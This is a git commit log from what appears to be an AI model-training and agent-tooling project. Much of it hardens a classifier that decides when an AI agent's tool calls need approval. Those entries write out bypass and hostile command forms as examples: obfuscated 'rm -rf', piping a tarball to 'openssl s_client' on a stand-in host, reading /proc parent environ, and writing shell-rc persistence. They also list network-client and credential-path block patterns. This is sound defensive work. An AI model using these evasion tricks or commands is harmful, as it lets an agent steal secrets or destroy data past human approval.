* tests: read checked-in files as UTF-8 instead of the platform default
Path.read_text() with no encoding uses locale.getpreferredencoding(), which
is UTF-8 on the Linux runners and cp1252 on a stock Windows install. Nine
module-level reads of checked-in source files were relying on that default.
studio/backend/routes/inference.py carries the DeepSeek tool-call token
regexes, so it holds U+FF5C and U+2581. Under cp1252 that read raised
UnicodeDecodeError on byte 0x81 at position 97806, and because the reads run
at import time it took test_cancel_atomicity.py and test_cancel_id_wiring.py
out at collection, not as failures. Green on CI, permanently broken for a
Windows contributor running the suite locally.
Adds a guard: at module scope there is no tmp_path fixture, so a bare
read_text()/write_text()/open() there is always touching a checked-in file.
That makes the rule mechanical enough to enforce with no allowlist, while
staying quiet about temp-dir I/O inside test bodies where the platform
default is harmless.
The repo already spells this correctly in 464 other places; this only stops
the stragglers coming back.
* tests: cover import-time helper reads and keep the guard py3.9-safe
Follows up on the Codex review:
- add `from __future__ import annotations`, since `str | None` in
`_offender` is evaluated at import on Python 3.9 and pyproject declares
requires-python ">=3.9,<3.15".
- widen the guard from module scope to import time. Class bodies and the
bodies of module-level helpers called from an executing statement run
during collection too, so `CODE = _extract_mixed_precision_code()` was
the same hazard as an inline read. `if __name__ == "__main__":` blocks
are skipped: pytest never executes them.
- scan studio/backend/tests/ as well as tests/. Both trees are collected
on Windows by separate CI jobs, and the offender that started this,
test_tool_xml_strip.py reading routes/inference.py, lives there.
Widening it surfaced seven more import-time reads of checked-in sources;
all now name utf-8.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden the import-time encoding guard for PR #7438
Close the detector gaps raised in review, all of which I reproduced against
the actual AST before changing anything.
False negatives (the guard let a real hazard through):
- _is_main_guard ignored the comparison operator, so if __name__ != "__main__"
counted as script-only even though its body runs at import.
- The else arm of a main guard was discarded with the rest of the If node.
- Decorators and argument defaults on a module-level def were skipped with the
body, though both are evaluated when the def executes.
- Path.open() in text mode was invisible; only builtin open() was matched.
- encoding = None and encoding = "locale" both re-select the platform default,
but the keyword merely being present counted as pinned.
False positives (the guard would have blocked a compliant contributor):
- A non-literal mode fell through to the "r" default, so open(p, mode) was
flagged even when mode is "rb", where adding encoding= is a ValueError and
there is no edit that satisfies the rule.
- Same for open(*args) and a **kwargs splat, which hide the mode and can hide
an encoding.
- Lambda bodies and comprehension elements were walked even though neither runs
at definition.
Verified: still reports the same 22 offenders on unpatched main, green on this
branch and on the tree merged with latest main (557 files), and an adversarial
corpus of 33 cases now scores zero false positives and zero false negatives.
Also corrected two docstring claims: neither collecting job runs on Windows,
and the read is governed by locale.getencoding().
* Walk eager comprehensions and treat io.open as the builtin
Two regressions from the previous commit, both reproduced against the AST
before changing anything.
Lumping list, set and dict comprehensions in with generator expressions was
wrong. Only a genexp is lazy; the other three run their element expression,
their filters and their nested iterators immediately, so
CONTENTS = [p.read_text() for p in PATHS] at module scope is an import-time
read the guard was silently missing. Comprehensions are now walked in full and
only the genexp keeps the outermost-iterable-only treatment.
io was also in the not-a-path-opener list, but io.open is the builtin, with the
same mode position and the same platform default. io.open(CHECKED_IN_FILE) is
exactly the hazard this guard exists for, so it is matched now, with binary
modes and a pinned encoding still exempt. tarfile.open and fitz.open stay
exempt since neither has an encoding to name.
Verified: 13 targeted cases covering all five eager comprehension forms and
io.open in text, binary and pinned shapes all classify correctly; still 22
offenders on unpatched main; green on this branch and on the tree merged with
latest main.
* Close three more walker gaps in the import-time guard
All three reproduced against the AST first.
A generator expression handed straight to a call is consumed there, so
DATA = "".join(p.read_text() for p in paths) runs its element at import. Only
an unconsumed genexp bound to a name stays lazy, so the walker now follows the
consumed ones in full and keeps the outermost-iterable-only treatment for the
rest.
if "__main__" == __name__ is an equivalent and accepted spelling of the main
guard, but requiring __name__ on the left meant its body was treated as
import-time code. That is a false positive on a block pytest never runs, so
both operand orders are recognised now.
The helper table was built from module-level defs only, so a def in a class
body invoked while the class is constructed was never followed, contradicting
the walker's stated coverage of class bodies. Helpers are now collected from
the module body and from class bodies at any nesting.
Verified: 15 targeted cases including all three fixes and the earlier ones
still classify correctly; still 22 offenders on unpatched main; green on this
branch and on the tree merged with latest main.
* Handle positional read_text encodings, lazy generators and nested helpers
* Guard reads reached from test bodies, unbound Path calls and __file__ paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Follow derived paths, skip lazy generator helpers, cover compressed openers
* Guard the CLI tests, helper parameters and unbound Path arguments
* Discover test roots and follow literal, in-place and tuple-derived paths
* Identify module openers by import, unwrap starred paths, pin subprocess snippets
* Resolve import origins, seed helper locals, follow named generators and parametrize
* Scope imports lexically, list tracked test files, bind unpacked names
* Resolve aliased openers, keyword-only params, destructured targets, next()
* Pin the encoding on subprocess snippets, workflow lint and CLI output for PR #7438
* Harden the CLI encoding guard against detached streams for PR #7438
* Tighten the encoding guard's path and scope analysis for PR #7438
* Resolve path provenance more precisely and keep POSIX stream encodings for PR #7438
* Resolve qualified path classes and scope conditional imports for PR #7438
* Scope CLI stream setup to the entry point and align two encoding pairs for PR #7438
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* fix(studio): report Vulkan GPUs in system UI
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): separate Vulkan inference GPU reporting
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): keep retrying Vulkan probe refreshes
* fix(studio): preserve known zero GPU budgets
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown
Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes#7205.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight
Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.
* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add a regression test for the pre-teardown GGUF download for PR #7415
* Tighten the Vulkan diffusion preflight comments for PR #7415
* Trim the Vulkan diffusion preflight comments for PR #7415
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Bypass fast_generate for flash_attention_2 models (frozen KV / gibberish)
unsloth_base_fast_generate forces cache_implementation="static", which
pre-allocates the full prompt+max_new_tokens KV buffer. With SDPA the
not-yet-filled slots are masked out; flash_attention_2 does not receive such
a mask, so decoding attends over uninitialized cache memory and produces
incoherent output (observed: coherent prompt echo followed by gibberish
rollouts on Phi-4-mini-instruct during TRL GRPO training; the KV length
appears frozen at the pre-allocated size). Note that on transformers >=
4.56 UNSLOTH_DISABLE_STATIC_GENERATION=1 still selects the static cache, so
the env-var escape hatch does not help either.
Fall back to the wrapped model's original generate when the config reports
_attn_implementation == "flash_attention_2" - plain HF generate is correct
with FA2 (validated: prefill q=13/kv=13, cache grows 14, 15, ..., coherent
output; equivalent to UNSLOTH_DISABLE_FAST_GENERATION=1 but scoped to FA2).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* Fix FA2 vision generation fallback
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Detect FA2 in VLM llm configs
* Fix default FlashAttention config detection
* Honor language attention overrides
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Handle nested FA2 configs and cache cleanup
* Pin a dynamic cache on the FlashAttention fallback for PR #7429
* Cover the explicit cache kwarg and caller caches in the FA2 fallback for PR #7429
* Tighten the FlashAttention fallback comments for PR #7429
---------
Co-authored-by: Piotr Wąsiewicz <piotrwasiewicz72@mail.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Security audit fails on main with 1 unsuppressed CRITICAL:
CRITICAL C2 polling/beaconing loop detected
Package: fastapi
File: fastapi/routing.py
The same file and check are already baselined, but the entry is keyed on a
digest of the matched code, so fastapi 0.140.0 rewriting the block reopened it.
That is the baseline working as intended, not a stale pin, so the new code
needs its own review rather than a regenerated file.
The flagged block is the SSE keepalive inserter:
async def _keepalive_inserter() -> None:
async with send_keepalive, receive_stream:
try:
while True:
try:
with anyio.fail_after(_PING_INTERVAL):
data = await receive_stream.receive()
await send_keepalive.send(data)
except TimeoutError:
await send_keepalive.send(KEEPALIVE_COMMENT)
except anyio.EndOfStream:
pass
It forwards one in-memory anyio stream to another and emits a keepalive comment
when the read times out. No socket, no outbound host, no fetched command, and it
terminates on EndOfStream. The heuristic matches it on the shape alone, a loop
with a timeout and a send, so it is a false positive.
Adds that one entry. The existing fastapi entry stays, since the requirement is
unpinned and an older resolve still needs it.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Add interactive Agents command builder
* Add local subagent command guidance
* Add official coding agent icons
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Shell-quote the model, forward the HF token, and fix the quant placeholder
- Quote the --model value in the generated and subagent commands so a local
path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
when a model has no variants; clear the failure once a later request succeeds
* Fix Agents command discovery and routing
* Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)
* Improve unsloth start runtime lifecycle
* Remove speculative Gemma prompt override
* Polish model download progress output
* Refine unsloth start status output
* Clarify unsloth readiness banner
* Clarify model reuse and switching output
* Queue model switches behind active inference
* Tighten unsloth start model switching
* Reduce model switch bookkeeping
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Studio re-exec compatibility
* Recheck sidecar reservation after inference drain
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass start marker through child environment
* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313
- Redact minted sk-unsloth keys from the startup-failure log tail: the early
key marker lands in the server log before the model load finishes, so a
load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
swap on another event loop cannot count it as still queued and unload the
model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
weights for every attached session, but the repo ids match so no switch
warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in start, studio, and inference changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.
Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.
* Fix Agents builder defaults and flag validation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Agents variant and provider fallbacks
* Fix local model and Pi subagent edge cases
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Preserve cache load ids and path variants in built commands for PR #7312
A GGUF outside the active Hugging Face cache only loads by its snapshot
path, so keep that load_id for --model while still listing the row by repo
id. Path based models carry their quant in --gguf-variant rather than a
":variant" suffix, and the active selection now keeps the variant inference
status reports for them.
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* List GGUF variants from the cache the command loads from for PR #7312
A snapshot outside the active Hugging Face cache was offering the remote
variant list, so a quant absent from that snapshot could be selected and
the generated command would fail to load it.
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Send the cached GGUF load path and fix the agents tab search targets for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Keep the resident model on its active cache load for PR #7312
* Tighten the agents tab and cached GGUF comments for PR #7312
* Take the agent command shell from the Studio host for PR #7303
* Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312
* Pick the command shell from where the CLI runs for PR #7303
* Match a path load by its advertised id and follow the resident model for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep an explicit quantization and retire superseded native-grant labels for PR #7312
* Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312
* Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312
* Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312
* Fix snapshot alias, partial split and mmproj-only handling for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trust scanned model_format and drop incomplete snapshot ids for PR #7312
* Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict revision aliases and require complete snapshot variants for PR #7312
* Index revisions individually and hide partial variants for PR #7312
---------
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <oobabooga4@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
